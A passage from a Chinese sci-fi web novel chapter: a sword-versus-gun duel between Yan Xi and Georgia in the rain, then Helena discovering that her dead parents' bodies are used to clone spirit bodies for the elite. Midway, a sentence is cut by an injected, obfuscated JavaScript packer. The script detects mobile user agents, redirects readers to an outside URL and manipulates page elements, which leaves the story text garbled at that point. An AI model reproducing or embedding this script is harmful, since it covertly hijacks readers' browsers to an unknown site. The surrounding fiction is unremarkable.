格鲁吉亚的子弹擦着她的发梢呼啸而过，保持着高速继续向前，一直飞过那扇被激光扫碎的手术室大门。 格鲁吉亚被颜惜的腿风逼得狼狈后退一步，可在转瞬之间，颜惜已逼至眼前。轻剑斩落的弧度近在眼前，伴随着破空的风声，只差一寸就要碰到格鲁吉亚的鼻尖。剑风扫过她的颊侧，她的头发还甩在空中，直接被剑气削掉了一片。 她速度好快！格鲁吉亚脑袋里只剩下这一个念头，她只能狼狈地向后翻滚，冰冷的金属地面硌得肩背生疼，她昂贵的衣物和一直保养得当的栗色长发都沾染了脏污的废水。 格鲁吉亚这辈子没这么狼狈过，上一次她陷入这样窘迫的境地还是在辐射赛场上被段迟凛手下的那两个叫柯里尔和陆洋的参赛选手联合围殴的时候。 不！那一次那两人给她带来的压迫感甚至不如颜惜一个人的强。 格鲁吉亚往后退，忽然她瞥了一眼自己正在闪着消息提示的光脑，一闪身往外跑去。 颜惜挑挑眉，拎起剑就追了上去。 格鲁吉亚一边后退一边没停下手里的动作，她不停地朝着颜惜射击，弹道纵横交错，最后与基地的金属墙壁接触，飞溅出了一道道火星。 颜惜的面容被这些飞溅的火星照得明明灭灭。她身轻如燕，尽管格鲁吉亚的目的是拖住她的脚步，但她总能轻巧地避开每一次的攻击，遇到冲着她面门而去的攻击，她挥动轻剑，精准地格开或偏转致命的攻击。 格鲁吉亚终于撤退出了窄小的基地——空间越是逼仄，对她越是不利，她是远程攻击，而在这种狭小的廊道对战，她无法和颜惜拉开距离，而颜惜显然是近战型，狭小空间里对她最有优势。 格鲁吉亚手里的弹匣已经被打空了，不过好消息是她的封路策略是有效的，好歹让颜惜慢下了脚步，给了她这个短暂的喘息时间。 她躲到基地外巨大的信号基站配备的工作房建筑后。气息急促，体能被追逐战疯狂消耗，导致她此时只能口呼吸，大口大口地喘着粗气。 中央星下雨了。这座被人为调控气候的恒温花园难得有这种阴沉的天气，格鲁吉亚抬头望着灰蒙蒙的天，感受到雨滴落到了她的眼睛里，带来了酸涩的疼痛感。冰冷的雨水顺着她的额角滑落。她快速从腰间拿出弹匣更换，再将精神力注入其中。 颜惜却在此时像鬼魅一样，从建筑的另一侧闪了出来，她将剑尖插在地上，足尖踩着剑柄处借力，直接飞身跃起，右手带着剑柄拔剑而出，整个人朝着格鲁吉亚的方向凌空扑下，借着下坠的重力，双手持着长剑，直指格鲁吉亚，势若千钧。 格鲁吉亚的瞳孔不自觉地在一瞬间迅速放大，她猛地向侧面扑出。颜惜这次力度太大，收势不及，整个人带着剑直接劈断了大半间工作房，剑锋与金属材料相碰，发出了一阵令人牙酸的巨响，随着劈下的动作，迸溅除了一堆火星混合着金属碎屑。 格鲁吉亚想要抓住这千钧一发的机会，举枪瞄准。然而就在扳机即将扣下的瞬间，颜惜直接借力将一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663197|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大片坍塌的建筑朝着她的方向甩了过去！ 格鲁吉亚迅速往后退，就在这个她闪退的瞬间，她的枪口因脚下动作的干扰，导致端着枪的手不稳，瞄准镜微微一偏，子弹擦着颜惜的肩膀飞过，灼烧了她的外衣，留下焦黑的痕迹。 颜惜和格鲁吉亚之间隔着氤氲开来的薄薄雨雾，格鲁吉亚的枪口对着她，而她也始终没有松开握着轻剑的手啊，两人无声地对峙着，各自调整着紊乱的呼吸。 颜惜身上的作战服被大雨淋湿透了，手臂上的伤口碰到雨水，正在阵阵生疼。她不满地“啧”了一声，要不是之前受伤太重，导致她不能使用她的右手…… 不过格鲁吉亚现在也是强弩之末了。颜惜抬起眼，左手用力，捏紧了剑柄。鸢尾花装饰硌得她的手生疼。 到此为止了。 她将精神力注入剑身，猛得朝格鲁吉亚劈了过去。 躲不开——这是格鲁吉亚的第一反应。 她的瞳孔不断缩小，眼见剑锋朝她越来越近，马上就要正对着她的面门劈下—— 就在剑尖即将碰到格鲁吉亚的眼睛时，在这千钧一发之际，一把闪着寒光的匕首挡住了颜惜劈下的剑。 “噌”的一声，两把冷兵器相撞，发出了嗡鸣声。来人手持着匕首，替格鲁吉亚挡下了这致命的一击。她手腕翻动，顺势卸力，将颜惜的剑往另一边撇去。 火星迸溅，照亮了来人的脸。 “你来了！”格鲁吉亚惊喜道。 颜惜挑起了眉。 “原来是你。” *** 海莲娜关上手里的光脑，站起了身。 窗外是巴恩斯家精致的庄园，此刻中央星骤然下雨，所有的仆人全部紧急跑到回廊下躲雨。她甚至能隐隐听见她的“母亲”玛琳·康特在抱怨究竟是谁在调节中央星的天气，这见鬼的雨水会淋坏她新栽种下的名贵月季。 隔着朦朦胧胧的雨雾，她看向远处。 窗户起了雾，蒙蒙的水汽和霏霏的雨，一看就不是要发生什么好事的征兆。 海莲娜把玩着手里的光脑。 里面有着颜惜发来的所有信息，包括她的领养记录，包括她父母真实的尸检报告，包括——那两块精神体现在正被安在她所谓的“好表姐”和“好表弟”的身上，正在源源不断地为他们提供着精神力。 包括——她的亲生父母哪怕是死了也没有被彻底放过，他们的尸体现在还停放在中央星某个地下基地里，不断地被提取细胞，不断地制造着他们的克隆人，再挖出克隆人里的精神体，为这些该死的权贵们提供一个有一个往上走的机会。 而这些东西，正是拜她的这些“好家人”们所赐。 海莲娜盯着光脑里的那几行字，低低地笑出了声。 她打开自己卧室的门，走下楼，撑着一把伞，走出了巴恩斯家的庄园。 玛琳·康特在背后呼喊她的声音被她抛到身后，她素日里一头耀眼的红发此时也显得有几分暗淡。 “虚假的幸福和真实的痛苦吗？”她轻轻地呢喃。 “可惜我甚至连虚假的幸福也不曾拥有。”她说。 她打开了光脑里的地图——上面赫然显示着—— 位于中央星最繁华的地带——康特家最大的药业集成中心。